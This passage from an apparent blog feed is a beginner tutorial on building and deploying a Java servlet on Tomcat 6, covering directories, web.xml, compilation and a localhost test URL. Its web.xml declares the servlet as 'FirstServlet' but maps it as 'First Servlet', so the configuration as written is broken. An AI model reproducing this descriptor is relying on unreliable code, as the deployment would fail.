&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;conf &lt;/b&gt;– contains configuration files; most important server.xml for configuring the server and web.xml a general configuration file for web applications&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;lib &lt;/b&gt;– libraries (jars) used by tomcat and deployed web applications&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;logs &lt;/b&gt;– log files&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;temp &lt;/b&gt;– temporary files&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;webapps &lt;/b&gt;– contains the web applications deployed&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;work &lt;/b&gt;– contains files created by tomcat during running (e.g. it crates a servlet from each jsp file)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;Starting &amp;amp; Shutting Down Tomcat&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;start Tomcat from a cmd prompter (window):&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&amp;nbsp; c:\apache-tomcat-6.0.20\bin\startup.bat&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;verify startup by pointing a browser to the url http://localhost:8080&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;shutting down Tomcat from a cmd prompter (window):&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp;c:\apache-tomcat-6.0.20\bin\shutdown.bat&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Now we are able to start our servlet and it&#39;s time to get back to the servlet that we have developed and integrate it with the container to make it executable.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Build a directory structure of your servlet application in this way:&lt;/span&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #DBE5F1; border: none; mso-background-themecolor: accent1; mso-background-themetint: 51; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;\--firstservlet&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;\--src&lt;/span&gt;&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;
  &amp;nbsp;--com&lt;/span&gt;&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;
  &amp;nbsp;&amp;nbsp; &amp;nbsp;\--kiosk&lt;/span&gt;&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;\--classes&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&amp;nbsp; &amp;nbsp; \--WEB-INF&lt;/span&gt;&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/blockquote&gt;
Copy your servlet into firstservlet/src/com/kiosk/.&lt;br /&gt;
&lt;br /&gt;
And now it&#39;s time to create an integration file which is here a deployment descriptor.&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;Deployment Descriptor&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: arial, sans-serif; line-height: 16px;&quot;&gt;A&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: arial, sans-serif; font-weight: bold; line-height: 16px;&quot;&gt;deployment descriptor&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: arial, sans-serif; line-height: 16px;&quot;&gt;&amp;nbsp;(DD) refers to a configuration file for an artifact that is deployed to some container/engine.&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #DBE5F1; border: none; mso-background-themecolor: accent1; mso-background-themetint: 51; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&amp;lt;?xml
  version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&amp;lt;web-app
  version=&quot;2.4&quot; xmlns=&quot;http://java.sun.com/xml/ns/j2ee&quot;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;xsi:schemaLocation=&quot;http://java.sun.com/xml/ns/j2ee&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd&quot;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&amp;nbsp;&amp;lt;servlet&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&amp;nbsp;
  &amp;lt;servlet-name&amp;gt;FirstServlet&amp;lt;/servlet-name&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&amp;nbsp;
  &amp;lt;servlet-class&amp;gt;com.kiosk.FirstServlet&amp;lt;/servlet-class&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&amp;nbsp;&amp;lt;/servlet&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&amp;nbsp;&amp;lt;servlet-mapping&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&amp;nbsp;
  &amp;lt;servlet-name&amp;gt;First Servlet&amp;lt;/servlet-name&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&amp;nbsp;
  &amp;lt;url-pattern&amp;gt;/frs&amp;lt;/url-pattern&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&amp;nbsp;&amp;lt;/servlet-mapping&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;u1:p&gt;&lt;/u1:p&gt;
  &lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-size: 13.5pt;&quot;&gt;&amp;lt;/web-app&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;em style=&quot;background-color: white; font-family: Arial, sans-serif; line-height: 21px;&quot;&gt;servlet-name is the alias name for the FirstServlet class&lt;/em&gt;&lt;em style=&quot;background-color: white; font-family: Arial, sans-serif; line-height: 21px;&quot;&gt;url-pattern is the url path you type in browser address bar&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Compilation&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;u&gt;&lt;br /&gt;&lt;/u&gt;
In order to compile your servlet you need to execute the following command on your command prompt.&lt;br /&gt;
javac src/com/kiosk/FirstServlet.java -classpath &quot;C:\Java\j2ee\lib\javaee.jar&quot; -d classes&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; line-height: 21px;&quot;&gt;The “javaee.jar” is required for http servlet and packaged with J2EE SDK. In addition, all compiled classes will put in “classes” folder automatically&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; line-height: 21px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; line-height: 21px;&quot;&gt;Now it&#39;s time to manually deploy your application in tomcat by going into tomcat folder and create the directory structure as follows:&lt;/span&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #DBE5F1; border: none; mso-background-themecolor: accent1; mso-background-themetint: 51; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&lt;b&gt;\--apache-tomcat-6.0.20&lt;br /&gt;
  &amp;nbsp; &amp;nbsp; &amp;nbsp;\--webapps&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; \--firstservlet&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&lt;b&gt;&amp;nbsp;
  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\--WEB-INF (Do not change this
  folder name)&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;
  &amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; \--classes&amp;nbsp; &amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;
  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\--com&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;
  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; \--kiosk&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 21px;&quot;&gt;Now copy the files that we have created into the tomcat folder structure that we have created, here only two files we have created web.xml and FirstServlet.java but we will copy into the folder web.xml and FirstServlet.class&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #DBE5F1; border: none; mso-background-themecolor: accent1; mso-background-themetint: 51; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;\--apache-tomcat-6.0.20&lt;br /&gt;
  &amp;nbsp; &amp;nbsp; &amp;nbsp;\--webapps&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; \--firstservlet&amp;nbsp; &amp;nbsp;
  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; \--WEB-INF&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;
  &amp;nbsp; &amp;nbsp;\--web.xml&amp;nbsp;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;
  \--classes&amp;nbsp; &amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;
  &amp;nbsp; &amp;nbsp;\--com&amp;nbsp; &amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;
  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; \--kiosk&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;
  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;
  &amp;nbsp;\--FirstServlet.class&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
This is it. Now start tomcat&amp;nbsp;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&amp;nbsp; using c:\apache-tomcat-6.0.20\bin\startup.bat and test your application using following URL:&lt;/span&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #DBE5F1; border: none; mso-background-themecolor: accent1; mso-background-themetint: 51; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;http://localhost:8080/firstservlet/frs&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white; line-height: 21px;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/7751800500034717179/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2013/07/java-servlet-for-beginner.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/7751800500034717179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/7751800500034717179'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2013/07/java-servlet-for-beginner.html' title='Java Servlet for Beginner'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEint4h2ecwxVgpyG-Xtv5okQbhyZ8LC1hQwbEn-MQkADmYVsysGe4w4hsioaDGB_qJS6DOF26tW2d4xQfnsm9kkCXCs9TmUKFQT54BJSCxMjO3OWA6zolk71bycp2dsha3FEk1ede2JnmBO/s72-c/1.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-7969429019720509710</id><published>2013-07-11T01:04:00.000-07:00</published><updated>2013-07-11T01:04:26.119-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>AppFog free cloud for Java </title><content type='html'>&lt;div dir=&quot;ltr&quot; 